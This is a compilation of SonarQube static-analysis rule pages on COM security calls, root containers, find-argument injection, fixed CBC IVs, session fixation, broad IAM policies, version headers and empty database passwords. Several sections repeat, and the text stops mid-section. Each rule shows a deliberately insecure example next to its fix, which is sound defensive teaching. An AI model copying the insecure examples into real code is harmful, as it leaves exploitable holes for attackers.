SonarQube Vulnerability Report

This rule is deprecated, and will eventually be removed.

Why is this an issue?

CoSetProxyBlanket and CoInitializeSecurity both work to set the permissions context in which the process invoked immediately after is executed. Calling them from within that process is useless because it’s too late at that point; the permissions context has already been set.

Specifically, these methods are meant to be called from non-managed code such as a C++ wrapper that then invokes the managed, i.e. C# or VB.NET, code.

Noncompliant code example

Public Class Noncompliant

    <DllImport("ole32.dll")>
    Public Shared Function CoSetProxyBlanket(<MarshalAs(UnmanagedType.IUnknown)>pProxy As Object, dwAuthnSvc as UInt32, dwAuthzSvc As UInt32, <MarshalAs(UnmanagedType.LPWStr)> pServerPrincName As String, dwAuthnLevel As UInt32, dwImpLevel As UInt32, pAuthInfo As IntPtr, dwCapabilities As UInt32) As Integer
    End Function

    Public Enum RpcAuthnLevel
        [Default] = 0
        None = 1
        Connect = 2
        [Call] = 3
        Pkt = 4
        PktIntegrity = 5
        PktPrivacy = 6
    End Enum

    Public Enum RpcImpLevel
        [Default] = 0
        Anonymous = 1
        Identify = 2
        Impersonate = 3
        [Delegate] = 4
    End Enum

    Public Enum EoAuthnCap
        None = &H00
        MutualAuth = &H01
        StaticCloaking = &H20
        DynamicCloaking = &H40
        AnyAuthority = &H80
        MakeFullSIC = &H100
        [Default] = &H800
        SecureRefs = &H02
        AccessControl = &H04
        AppID = &H08
        Dynamic = &H10
        RequireFullSIC = &H200
        AutoImpersonate = &H400
        NoCustomMarshal = &H2000
        DisableAAA = &H1000
    End Enum

    <DllImport("ole32.dll")>
    Public Shared Function CoInitializeSecurity(pVoid As IntPtr, cAuthSvc As Integer, asAuthSvc As IntPtr, pReserved1 As IntPtr, level As RpcAuthnLevel, impers As RpcImpLevel, pAuthList As IntPtr, dwCapabilities As EoAuthnCap, pReserved3 As IntPtr) As Integer
    End Function

    Public Sub DoSomething()
        Dim Hres1 As Integer = CoSetProxyBlanket(Nothing, 0, 0, Nothing, 0, 0, IntPtr.Zero, 0) ' Noncompliant
        Dim Hres2 As Integer = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RpcAuthnLevel.None, RpcImpLevel.Impersonate, IntPtr.Zero, EoAuthnCap.None, IntPtr.Zero) ' Noncompliant
    End Sub

End Class

Resources

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-648 - Incorrect Use of Privileged APIs

This rule is deprecated, and will eventually be removed.

Why is this an issue?

CoSetProxyBlanket and CoInitializeSecurity both work to set the permissions context in which the process invoked immediately after is executed. Calling them from within that process is useless because it’s too late at that point; the permissions context has already been set.

Specifically, these methods are meant to be called from non-managed code such as a C++ wrapper that then invokes the managed, i.e. C# or VB.NET, code.

Noncompliant code example

[DllImport("ole32.dll")]
static extern int CoSetProxyBlanket([MarshalAs(UnmanagedType.IUnknown)]object pProxy, uint dwAuthnSvc, uint dwAuthzSvc,
	[MarshalAs(UnmanagedType.LPWStr)] string pServerPrincName, uint dwAuthnLevel, uint dwImpLevel, IntPtr pAuthInfo,
	uint dwCapabilities);

public enum RpcAuthnLevel
{
	Default = 0,
	None = 1,
	Connect = 2,
	Call = 3,
	Pkt = 4,
	PktIntegrity = 5,
	PktPrivacy = 6
}

public enum RpcImpLevel
{
	Default = 0,
	Anonymous = 1,
	Identify = 2,
	Impersonate = 3,
	Delegate = 4
}

public enum EoAuthnCap
{
	None = 0x00,
	MutualAuth = 0x01,
	StaticCloaking = 0x20,
	DynamicCloaking = 0x40,
	AnyAuthority = 0x80,
	MakeFullSIC = 0x100,
	Default = 0x800,
	SecureRefs = 0x02,
	AccessControl = 0x04,
	AppID = 0x08,
	Dynamic = 0x10,
	RequireFullSIC = 0x200,
	AutoImpersonate = 0x400,
	NoCustomMarshal = 0x2000,
	DisableAAA = 0x1000
}

[DllImport("ole32.dll")]
public static extern int CoInitializeSecurity(IntPtr pVoid, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1,
	RpcAuthnLevel level, RpcImpLevel impers, IntPtr pAuthList, EoAuthnCap dwCapabilities, IntPtr pReserved3);

static void Main(string[] args)
{
	var hres1 = CoSetProxyBlanket(null, 0, 0, null, 0, 0, IntPtr.Zero, 0); // Noncompliant

	var hres2 = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RpcAuthnLevel.None,
		RpcImpLevel.Impersonate, IntPtr.Zero, EoAuthnCap.None, IntPtr.Zero); // Noncompliant
}

Resources

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-648 - Incorrect Use of Privileged APIs

Running containers as a privileged user weakens their runtime security, allowing any user whose code runs on the container to perform administrative actions.
In Linux containers, the privileged user is usually named root. In Windows containers, the equivalent is ContainerAdministrator.

A malicious user can run code on a system either thanks to actions that could be deemed legitimate - depending on internal business logic or operational management shells - or thanks to malicious actions. For example, with arbitrary code execution after exploiting a service that the container hosts.

Suppose the container is not hardened to prevent using a shell, interpreter, or Linux capabilities. In this case, the malicious user can read and exfiltrate any file (including Docker volumes), open new network connections, install malicious software, or, worse, break out of the container’s isolation context by exploiting other components.

This means giving the possibility to attackers to steal important infrastructure files, intellectual property, or personal data.

Depending on the infrastructure’s resilience, attackers may then extend their attack to other services, such as Kubernetes clusters or cloud providers, in order to maximize their reach.

Ask Yourself Whether

This container:

• Serves services accessible from the Internet.
• Does not require a privileged user to run.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

In the Dockerfile:

• Create a new default user and use it with the USER statement.
  • Some container maintainers create a specific user to be used without explicitly setting it as default, such as postgresql or zookeeper. It is recommended to use these users instead of root.
  • On Windows containers, the ContainerUser is available for this purpose.

Or, at launch time:

• Use the user argument when calling Docker or in the docker-compose file.
• Add fine-grained Linux capabilities to perform specific actions that require root privileges.

If this image is already explicitly set to launch with a non-privileged user, you can add it to the safe images list rule property of your SonarQube instance, without the tag.

Sensitive Code Example

For any image that does not provide a user by default, regardless of their underlying operating system:

# Sensitive
FROM alpine

ENTRYPOINT ["id"]

For multi-stage builds, the last stage is non-compliant if it does not contain the USER instruction with a non-root user:

FROM alpine AS builder
COPY Makefile ./src /
RUN make build
USER nonroot

# Sensitive, previous user settings are dropped
FROM alpine AS runtime
COPY --from=builder bin/production /app
ENTRYPOINT ["/app/production"]

Compliant Solution

For Linux-based images:

FROM alpine

RUN addgroup -S nonroot \
    && adduser -S nonroot -G nonroot

USER nonroot

ENTRYPOINT ["id"]

For Windows-based images, you can use ContainerUser or create a new user:

FROM mcr.microsoft.com/windows/servercore:ltsc2019

RUN net user /add nonroot

USER nonroot

If the scratch Dockerfile untars a Linux distribution, the "Linux image" solution should be applied. Else, you have a choice between using a pre-written /etc/passwd file (regardless of the host operating system) or using a multi-stage build.

FROM scratch

COPY etc_passwd /etc/passwd
# contains "nonroot:x:1337:1337:nonroot:/nonroot:/usr/sbin/nologin"

USER nonroot

COPY production_binary /app

ENTRYPOINT ["/app/production_binary"]

or you can use a multi-stage build:

FROM alpine:latest as security_provider
RUN addgroup -S nonroot \
    && adduser -S nonroot -G nonroot

FROM scratch as production
COPY --from=security_provider /etc/passwd /etc/passwd
USER nonroot
COPY production_binary /app
ENTRYPOINT ["/app/production_binary"]

For multi-stage builds:

FROM alpine as builder
COPY Makefile ./src /
RUN make build

FROM alpine as runtime
RUN addgroup -S nonroot \
    && adduser -S nonroot -G nonroot
COPY --from=builder bin/production /app
USER nonroot
ENTRYPOINT ["/app/production"]

See

• MITRE, CWE-284 - Improper Access Control
• nginxinc/nginx-unprivileged: Example of a non-root container by default
• Microsoft docs, When to use ContainerAdmin and ContainerUser user accounts

Constructing arguments of system commands from user input is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2016-9920
• CVE-2021-29472

Arguments of system commands are processed by the executed program. The arguments are usually used to configure and influence the behavior of the programs. Control over a single argument might be enough for an attacker to trigger dangerous features like executing arbitrary commands or writing files into specific directories.

Ask Yourself Whether

• Malicious arguments can result in undesired behavior in the executed command.
• Passing user input to a system command is not necessary.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Avoid constructing system commands from user input when possible.
• Ensure that no risky arguments can be injected for the given program, e.g., type-cast the argument to an integer.
• Use a more secure interface to communicate with other programs, e.g., the standard input stream (stdin).

Sensitive Code Example

Arguments like -delete or -exec for the find command can alter the expected behavior and result in vulnerabilities:

using System.Diagnostics;
Process p = new Process();
p.StartInfo.FileName = "/usr/bin/find";
p.StartInfo.ArgumentList.Add(input); // Sensitive

Compliant Solution

Use an allow-list to restrict the arguments to trusted values:

using System.Diagnostics;
Process p = new Process();
p.StartInfo.FileName = "/usr/bin/find";
if (allowed.Contains(input)) {
  p.StartInfo.ArgumentList.Add(input);
}

See

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-88 - Argument Injection or Modification
• SANS Top 25 - Insecure Interaction Between Components
• CVE-2021-29472 - PHP Supply Chain Attack on Composer

This vulnerability exposes encrypted data to a number of attacks whose goal is to recover the plaintext.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communications in a variety of domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection
• Security during transmission or on storage devices
• Data integrity, general trust, and authentication

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

In the mode Cipher Block Chaining (CBC), each block is used as cryptographic input for the next block. For this reason, the first block requires an initialization vector (IV), also called a "starting variable" (SV).

If the same IV is used for multiple encryption sessions or messages, each new encryption of the same plaintext input would always produce the same ciphertext output. This may allow an attacker to detect patterns in the ciphertext.

What is the potential impact?

After retrieving encrypted data and performing cryptographic attacks on it on a given timeframe, attackers can recover the plaintext that encryption was supposed to protect.

Depending on the recovered data, the impact may vary.

Below are some real-world scenarios that illustrate the potential impact of an attacker exploiting the vulnerability.

Additional attack surface

By modifying the plaintext of the encrypted message, an attacker may be able to trigger additional vulnerabilities in the code. An attacker can further exploit a system to obtain more information.
Encrypted values are often considered trustworthy because it would not be possible for a third party to modify them under normal circumstances.

Breach of confidentiality and privacy

When encrypted data contains personal or sensitive information, its retrieval by an attacker can lead to privacy violations, identity theft, financial loss, reputational damage, or unauthorized access to confidential systems.

In this scenario, a company, its employees, users, and partners could be seriously affected.

The impact is twofold, as data breaches and exposure of encrypted data can undermine trust in the organization, as customers, clients and stakeholders may lose confidence in the organization’s ability to protect their sensitive data.

Legal and compliance issues

In many industries and locations, there are legal and compliance requirements to protect sensitive data. If encrypted data is compromised and the plaintext can be recovered, companies face legal consequences, penalties, or violations of privacy laws.

How to fix it in .NET

Code examples

Noncompliant code example

Imports System.IO
Imports System.Security.Cryptography

Public Sub Encrypt(key As Byte(), dataToEncrypt As Byte(), target As MemoryStream)
    Dim aes = New AesCryptoServiceProvider()

    Dim iv = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}
    Dim encryptor = aes.CreateEncryptor(key, iv) ' Noncompliant

    Dim cryptoStream = New CryptoStream(target, encryptor, CryptoStreamMode.Write)
    Dim swEncrypt = New StreamWriter(cryptoStream)

    swEncrypt.Write(dataToEncrypt)
End Sub

Compliant solution

In this example, the code implicitly uses a number generator that is considered strong, thanks to aes.IV.

Imports System.IO
Imports System.Security.Cryptography

Public Sub Encrypt(key As Byte(), dataToEncrypt As Byte(), target As MemoryStream)
    Dim aes = New AesCryptoServiceProvider()

    Dim encryptor = aes.CreateEncryptor(key, aes.IV)

    Dim cryptoStream = New CryptoStream(target, encryptor, CryptoStreamMode.Write)
    Dim swEncrypt = New StreamWriter(cryptoStream)

    swEncrypt.Write(dataToEncrypt)
End Sub

How does this work?

Use unique IVs

To ensure high security, initialization vectors must meet two important criteria:

• IVs must be unique for each encryption operation.
• For CBC and CFB modes, a secure FIPS-compliant random number generator should be used to generate unpredictable IVs.

The IV does not need be secret, so the IV or information sufficient to determine the IV may be transmitted along with the ciphertext.

In the previous non-compliant example, the problem is not that the IV is hard-coded.
It is that the same IV is used for multiple encryption attempts.

Resources

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• MITRE, CWE-329 - Not Using an Unpredictable IV with CBC Mode
• NIST, SP-800-38A - Recommendation for Block Cipher Modes of Operation

An attacker may trick a user into using a predetermined session identifier. Consequently, this attacker can gain unauthorized access and impersonate the user’s session. This kind of attack is called session fixation, and protections against it should not be disabled.

Why is this an issue?

Session fixation attacks take advantage of the way web applications manage session identifiers. Here’s how a session fixation attack typically works:

• When a user visits a website or logs in, a session is created for them.
• This session is assigned a unique session identifier, stored in a cookie, in local storage, or through URL parameters.
• In a session fixation attack, an attacker tricks a user into using a predetermined session identifier controlled by the attacker. For example, the attacker sends the victim an email containing a link with this predetermined session identifier.
• When the victim clicks on the link, the web application does not create a new session identifier but uses this identifier known to the attacker.
• At this point, the attacker can hijack and impersonate the victim’s session.

What is the potential impact?

Session fixation attacks pose a significant security risk to web applications and their users. By exploiting this vulnerability, attackers can gain unauthorized access to user sessions, potentially leading to various malicious activities. Some of the most relevant scenarios are the following:

Impersonation

Once an attacker successfully fixes a session identifier, they can impersonate the victim and gain access to their account without providing valid credentials. This can result in unauthorized actions, such as modifying personal information, making unauthorized transactions, or even performing malicious activities on behalf of the victim. An attacker can also manipulate the victim into performing actions they wouldn’t normally do, such as revealing sensitive information or conducting financial transactions on the attacker’s behalf.

Data Breach

If an attacker gains access to a user’s session, they may also gain access to sensitive data associated with that session. This can include personal information, financial details, or any other confidential data that the user has access to within the application. The compromised data can be used for identity theft, financial fraud, or other malicious purposes.

Privilege Escalation

In some cases, session fixation attacks can be used to escalate privileges within a web application. By fixing a session identifier with higher privileges, an attacker can bypass access controls and gain administrative or privileged access to the application. This can lead to unauthorized modifications, data manipulation, or even complete compromise of the application and its underlying systems.

How to fix it in Passport

Code examples

Upon user authentication, it is crucial to regenerate the session identifier to prevent fixation attacks. Passport provides a mechanism to achieve this by using the req.session.regenerate() method. By calling this method after successful authentication, you can ensure that each user is assigned a new and unique session ID.

Noncompliant code example

app.post('/login',
  passport.authenticate('local', { failureRedirect: '/login' }),
  function(req, res) {
    // Noncompliant - no session.regenerate after login
    res.redirect('/');
  });

Compliant solution

app.post('/login',
  passport.authenticate('local', { failureRedirect: '/login' }),
  function(req, res) {
    let prevSession = req.session;
    req.session.regenerate((err) => {
      Object.assign(req.session, prevSession);
      res.redirect('/');
    });
  });

How does this work?

The protection works by ensuring that the session identifier, which is used to identify and track a user’s session, is changed or regenerated during the authentication process.

Here’s how session fixation protection typically works:

1. When a user visits a website or logs in, a session is created for them. This session is assigned a unique session identifier, which is stored in a cookie or passed through URL parameters.
2. In a session fixation attack, an attacker tricks a user into using a predetermined session identifier controlled by the attacker. This allows the attacker to potentially gain unauthorized access to the user’s session.
3. To protect against session fixation attacks, session fixation protection mechanisms come into play during the authentication process. When a user successfully authenticates, this mechanism generates a new session identifier for the user’s session.
4. The old session identifier, which may have been manipulated by the attacker, is invalidated and no longer associated with the user’s session. This ensures that any attempts by the attacker to use the fixed session identifier are rendered ineffective.
5. The user is then assigned the new session identifier, which is used for subsequent requests and session tracking. This new session identifier is typically stored in a new session cookie or passed through URL parameters.

By regenerating the session identifier upon authentication, session fixation protection helps ensure that the user’s session is tied to a new, secure identifier that the attacker cannot predict or control. This mitigates the risk of an attacker gaining unauthorized access to the user’s session and helps maintain the integrity and security of the application’s session management process.

Resources

Documentation

• express-session

Articles & blog posts

• Fixing Session Fixation

Standards

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• OWASP Sesssion Fixation
• MITRE, CWE-384 - Session Fixation

Within IAM, identity-based policies grant permissions to users, groups, or roles, and enable specific actions to be performed on designated resources. When an identity policy inadvertently grants more privileges than intended, certain users or roles might be able to perform more actions than expected. This can lead to potential security risks, as it enables malicious users to escalate their privileges from a lower level to a higher level of access.

Why is this an issue?

AWS Identity and Access Management (IAM) is the service that defines access to AWS resources. One of the core components of IAM is the policy which, when attached to an identity or a resource, defines its permissions. Policies granting permission to an identity (a user, a group or a role) are called identity-based policies. They add the ability to an identity to perform a predefined set of actions on a list of resources.

For such policies, it is easy to define very broad permissions (by using wildcard "*" permissions for example.) This is especially true if it is not yet clear which permissions will be required for a specific workload or use case. However, it is important to limit the amount of permissions that are granted and the amount of resources to which these permissions are granted. Doing so ensures that there are no users or roles that have more permissions than they need.

If this is not done, it can potentially carry security risks in the case that an attacker gets access to one of these identities.

What is the potential impact?

AWS IAM policies that contain overly broad permissions can lead to privilege escalation by granting users more access than necessary. They may be able to perform actions beyond their intended scope.

Privilege escalation

When IAM policies are too permissive, they grant users more privileges than necessary, allowing them to perform actions that they should not be able to. This can be exploited by attackers to gain unauthorized access to sensitive resources and perform malicious activities.

For example, if an IAM policy grants a user unrestricted access to all S3 buckets in an AWS account, the user can potentially read, write, and delete any object within those buckets. If an attacker gains access to this user’s credentials, they can exploit this overly permissive policy to exfiltrate sensitive data, modify or delete critical files, or even launch further attacks within the AWS environment. This can have severe consequences, such as data breaches, service disruptions, or unauthorized access to other resources within the AWS account.

How to fix it in AWS CDK

Code examples

In this example, the IAM policy allows an attacker to update the code of any Lambda function. An attacker can achieve privilege escalation by altering the code of a Lambda that executes with high privileges.

Noncompliant code example

import { aws_iam as iam } from 'aws-cdk-lib'

new iam.PolicyDocument({
    statements: [new iam.PolicyStatement({
        effect: iam.Effect.ALLOW,
        actions: ["lambda:UpdateFunctionCode"],
        resources: ["*"], // Noncompliant
    })],
});

Compliant solution

The policy is narrowed such that only updates to the code of certain Lambda functions (without high privileges) are allowed.

import { aws_iam as iam } from 'aws-cdk-lib'

new iam.PolicyDocument({
    statements: [new iam.PolicyStatement({
        effect: iam.Effect.ALLOW,
        actions: ["lambda:UpdateFunctionCode"],
        resources: ["arn:aws:lambda:us-east-2:123456789012:function:my-function:1"],
    })],
});

How does this work?

Principle of least privilege

When creating IAM policies, it is important to adhere to the principle of least privilege. This means that any user or role should only be granted enough permissions to perform the tasks that they are supposed to, and nothing else.

To successfully implement this, it is easier to start from nothing and gradually build up all the needed permissions. When starting from a policy with overly broad permissions which is made stricter at a later time, it can be harder to ensure that there are no gaps that might be forgotten about. In this case, it might be useful to monitor the users or roles to verify which permissions are used.

Resources

Documentation

• AWS Documentation - Policies and permissions in IAM: Grant least privilege

Articles & blog posts

• Rhino Security Labs - AWS IAM Privilege Escalation - Methods and Mitigation

Standards

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-269 - Improper Privilege Management

Disclosure of version information, usually overlooked by developers but disclosed by default by the systems and frameworks in use, can pose a significant security risk depending on the production environement.

Once this information is public, attackers can use it to identify potential security holes or vulnerabilities specific to that version.

Furthermore, if the published version information indicates the use of outdated or unsupported software, it becomes easier for attackers to exploit known vulnerabilities. They can search for published vulnerabilities related to that version and launch attacks that specifically target those vulnerabilities.

Ask Yourself Whether

• Version information is accessible to end users.
• Internal systems do not benefit from timely patch management workflows.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

In general, it is recommended to keep internal technical information within internal systems to control what attackers know about the underlying architectures. This is known as the "need to know" principle.

The most effective solution is to remove version information disclosure from what end users can see, such as the "x-powered-by" header.
This can be achieved directly through the web application code, server (nginx, apache) or firewalls.

Disabling the server signature provides additional protection by reducing the amount of information available to attackers. Note, however, that this does not provide as much protection as regular updates and patches.
Security by obscurity is the least foolproof solution of all. It should never be the only defense mechanism and should always be combined with other security measures.

Sensitive Code Example

In Express.js, version information is disclosed by default in the x-powered-by HTTP header:

let express = require('express');

let example = express(); // Sensitive

example.get('/', function (req, res) {
  res.send('example')
});

Compliant Solution

x-powered-by HTTP header should be disabled in Express.js with app.disable:

let express = require('express');

let example = express();
example.disable("x-powered-by");

Or with helmet’s hidePoweredBy middleware:

let helmet = require("helmet");

let example = express();
example.use(helmet.hidePoweredBy());

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Testing Guide - OTG-INFO-008 - Fingerprint Web Application Framework
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-200 - Information Exposure

An attacker may trick a user into using a predetermined session identifier. Consequently, this attacker can gain unauthorized access and impersonate the user’s session. This kind of attack is called session fixation, and protections against it should not be disabled.

Why is this an issue?

Session fixation attacks take advantage of the way web applications manage session identifiers. Here’s how a session fixation attack typically works:

• When a user visits a website or logs in, a session is created for them.
• This session is assigned a unique session identifier, stored in a cookie, in local storage, or through URL parameters.
• In a session fixation attack, an attacker tricks a user into using a predetermined session identifier controlled by the attacker. For example, the attacker sends the victim an email containing a link with this predetermined session identifier.
• When the victim clicks on the link, the web application does not create a new session identifier but uses this identifier known to the attacker.
• At this point, the attacker can hijack and impersonate the victim’s session.

What is the potential impact?

Session fixation attacks pose a significant security risk to web applications and their users. By exploiting this vulnerability, attackers can gain unauthorized access to user sessions, potentially leading to various malicious activities. Some of the most relevant scenarios are the following:

Impersonation

Once an attacker successfully fixes a session identifier, they can impersonate the victim and gain access to their account without providing valid credentials. This can result in unauthorized actions, such as modifying personal information, making unauthorized transactions, or even performing malicious activities on behalf of the victim. An attacker can also manipulate the victim into performing actions they wouldn’t normally do, such as revealing sensitive information or conducting financial transactions on the attacker’s behalf.

Data Breach

If an attacker gains access to a user’s session, they may also gain access to sensitive data associated with that session. This can include personal information, financial details, or any other confidential data that the user has access to within the application. The compromised data can be used for identity theft, financial fraud, or other malicious purposes.

Privilege Escalation

In some cases, session fixation attacks can be used to escalate privileges within a web application. By fixing a session identifier with higher privileges, an attacker can bypass access controls and gain administrative or privileged access to the application. This can lead to unauthorized modifications, data manipulation, or even complete compromise of the application and its underlying systems.

How to fix it in Passport

Code examples

Upon user authentication, it is crucial to regenerate the session identifier to prevent fixation attacks. Passport provides a mechanism to achieve this by using the req.session.regenerate() method. By calling this method after successful authentication, you can ensure that each user is assigned a new and unique session ID.

Noncompliant code example

app.post('/login',
  passport.authenticate('local', { failureRedirect: '/login' }),
  function(req, res) {
    // Noncompliant - no session.regenerate after login
    res.redirect('/');
  });

Compliant solution

app.post('/login',
  passport.authenticate('local', { failureRedirect: '/login' }),
  function(req, res) {
    let prevSession = req.session;
    req.session.regenerate((err) => {
      Object.assign(req.session, prevSession);
      res.redirect('/');
    });
  });

How does this work?

The protection works by ensuring that the session identifier, which is used to identify and track a user’s session, is changed or regenerated during the authentication process.

Here’s how session fixation protection typically works:

1. When a user visits a website or logs in, a session is created for them. This session is assigned a unique session identifier, which is stored in a cookie or passed through URL parameters.
2. In a session fixation attack, an attacker tricks a user into using a predetermined session identifier controlled by the attacker. This allows the attacker to potentially gain unauthorized access to the user’s session.
3. To protect against session fixation attacks, session fixation protection mechanisms come into play during the authentication process. When a user successfully authenticates, this mechanism generates a new session identifier for the user’s session.
4. The old session identifier, which may have been manipulated by the attacker, is invalidated and no longer associated with the user’s session. This ensures that any attempts by the attacker to use the fixed session identifier are rendered ineffective.
5. The user is then assigned the new session identifier, which is used for subsequent requests and session tracking. This new session identifier is typically stored in a new session cookie or passed through URL parameters.

By regenerating the session identifier upon authentication, session fixation protection helps ensure that the user’s session is tied to a new, secure identifier that the attacker cannot predict or control. This mitigates the risk of an attacker gaining unauthorized access to the user’s session and helps maintain the integrity and security of the application’s session management process.

Resources

Documentation

• express-session

Articles & blog posts

• Fixing Session Fixation

Standards

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• OWASP Sesssion Fixation
• MITRE, CWE-384 - Session Fixation

Within IAM, identity-based policies grant permissions to users, groups, or roles, and enable specific actions to be performed on designated resources. When an identity policy inadvertently grants more privileges than intended, certain users or roles might be able to perform more actions than expected. This can lead to potential security risks, as it enables malicious users to escalate their privileges from a lower level to a higher level of access.

Why is this an issue?

AWS Identity and Access Management (IAM) is the service that defines access to AWS resources. One of the core components of IAM is the policy which, when attached to an identity or a resource, defines its permissions. Policies granting permission to an identity (a user, a group or a role) are called identity-based policies. They add the ability to an identity to perform a predefined set of actions on a list of resources.

For such policies, it is easy to define very broad permissions (by using wildcard "*" permissions for example.) This is especially true if it is not yet clear which permissions will be required for a specific workload or use case. However, it is important to limit the amount of permissions that are granted and the amount of resources to which these permissions are granted. Doing so ensures that there are no users or roles that have more permissions than they need.

If this is not done, it can potentially carry security risks in the case that an attacker gets access to one of these identities.

What is the potential impact?

AWS IAM policies that contain overly broad permissions can lead to privilege escalation by granting users more access than necessary. They may be able to perform actions beyond their intended scope.

Privilege escalation

When IAM policies are too permissive, they grant users more privileges than necessary, allowing them to perform actions that they should not be able to. This can be exploited by attackers to gain unauthorized access to sensitive resources and perform malicious activities.

For example, if an IAM policy grants a user unrestricted access to all S3 buckets in an AWS account, the user can potentially read, write, and delete any object within those buckets. If an attacker gains access to this user’s credentials, they can exploit this overly permissive policy to exfiltrate sensitive data, modify or delete critical files, or even launch further attacks within the AWS environment. This can have severe consequences, such as data breaches, service disruptions, or unauthorized access to other resources within the AWS account.

How to fix it in AWS CDK

Code examples

In this example, the IAM policy allows an attacker to update the code of any Lambda function. An attacker can achieve privilege escalation by altering the code of a Lambda that executes with high privileges.

Noncompliant code example

import { aws_iam as iam } from 'aws-cdk-lib'

new iam.PolicyDocument({
    statements: [new iam.PolicyStatement({
        effect: iam.Effect.ALLOW,
        actions: ["lambda:UpdateFunctionCode"],
        resources: ["*"], // Noncompliant
    })],
});

Compliant solution

The policy is narrowed such that only updates to the code of certain Lambda functions (without high privileges) are allowed.

import { aws_iam as iam } from 'aws-cdk-lib'

new iam.PolicyDocument({
    statements: [new iam.PolicyStatement({
        effect: iam.Effect.ALLOW,
        actions: ["lambda:UpdateFunctionCode"],
        resources: ["arn:aws:lambda:us-east-2:123456789012:function:my-function:1"],
    })],
});

How does this work?

Principle of least privilege

When creating IAM policies, it is important to adhere to the principle of least privilege. This means that any user or role should only be granted enough permissions to perform the tasks that they are supposed to, and nothing else.

To successfully implement this, it is easier to start from nothing and gradually build up all the needed permissions. When starting from a policy with overly broad permissions which is made stricter at a later time, it can be harder to ensure that there are no gaps that might be forgotten about. In this case, it might be useful to monitor the users or roles to verify which permissions are used.

Resources

Documentation

• AWS Documentation - Policies and permissions in IAM: Grant least privilege

Articles & blog posts

• Rhino Security Labs - AWS IAM Privilege Escalation - Methods and Mitigation

Standards

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-269 - Improper Privilege Management

Disclosure of version information, usually overlooked by developers but disclosed by default by the systems and frameworks in use, can pose a significant security risk depending on the production environement.

Once this information is public, attackers can use it to identify potential security holes or vulnerabilities specific to that version.

Furthermore, if the published version information indicates the use of outdated or unsupported software, it becomes easier for attackers to exploit known vulnerabilities. They can search for published vulnerabilities related to that version and launch attacks that specifically target those vulnerabilities.

Ask Yourself Whether

• Version information is accessible to end users.
• Internal systems do not benefit from timely patch management workflows.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

In general, it is recommended to keep internal technical information within internal systems to control what attackers know about the underlying architectures. This is known as the "need to know" principle.

The most effective solution is to remove version information disclosure from what end users can see, such as the "x-powered-by" header.
This can be achieved directly through the web application code, server (nginx, apache) or firewalls.

Disabling the server signature provides additional protection by reducing the amount of information available to attackers. Note, however, that this does not provide as much protection as regular updates and patches.
Security by obscurity is the least foolproof solution of all. It should never be the only defense mechanism and should always be combined with other security measures.

Sensitive Code Example

In Express.js, version information is disclosed by default in the x-powered-by HTTP header:

let express = require('express');

let example = express(); // Sensitive

example.get('/', function (req, res) {
  res.send('example')
});

Compliant Solution

x-powered-by HTTP header should be disabled in Express.js with app.disable:

let express = require('express');

let example = express();
example.disable("x-powered-by");

Or with helmet’s hidePoweredBy middleware:

let helmet = require("helmet");

let example = express();
example.use(helmet.hidePoweredBy());

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Testing Guide - OTG-INFO-008 - Fingerprint Web Application Framework
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-200 - Information Exposure

When accessing a database, an empty password should be avoided as it introduces a weakness.

Why is this an issue?

When a database does not require a password for authentication, it allows anyone to access and manipulate the data stored within it. Exploiting this vulnerability typically involves identifying the target database and establishing a connection to it without the need for any authentication credentials.

What is the potential impact?

Once connected, an attacker can perform various malicious actions, such as viewing, modifying, or deleting sensitive information, potentially leading to data breaches or unauthorized access to critical systems. It is crucial to address this vulnerability promptly to ensure the security and integrity of the database and the data it contains.

Unauthorized Access to Sensitive Data

When a database lacks a password for authentication, it opens the door for unauthorized individuals to gain access to sensitive data. This can include personally identifiable information (PII), financial records, intellectual property, or any other confidential information stored in the database. Without proper access controls in place, malicious actors can exploit this vulnerability to retrieve sensitive data, potentially leading to identity theft, financial loss, or reputational damage.

Compromise of System Integrity

Without a password requirement, unauthorized individuals can gain unrestricted access to a database, potentially compromising the integrity of the entire system. Attackers can inject malicious code, alter configurations, or manipulate data within the database, leading to system malfunctions, unauthorized system access, or even complete system compromise. This can disrupt business operations, cause financial losses, and expose the organization to further security risks.

Unwanted Modifications or Deletions

